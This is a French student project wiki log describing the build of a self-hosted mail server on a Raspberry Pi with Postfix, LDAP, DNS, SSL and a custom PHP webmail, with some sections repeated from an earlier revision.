Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:22:54Z

Tteneur : /* Semaine 16 (18/01/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

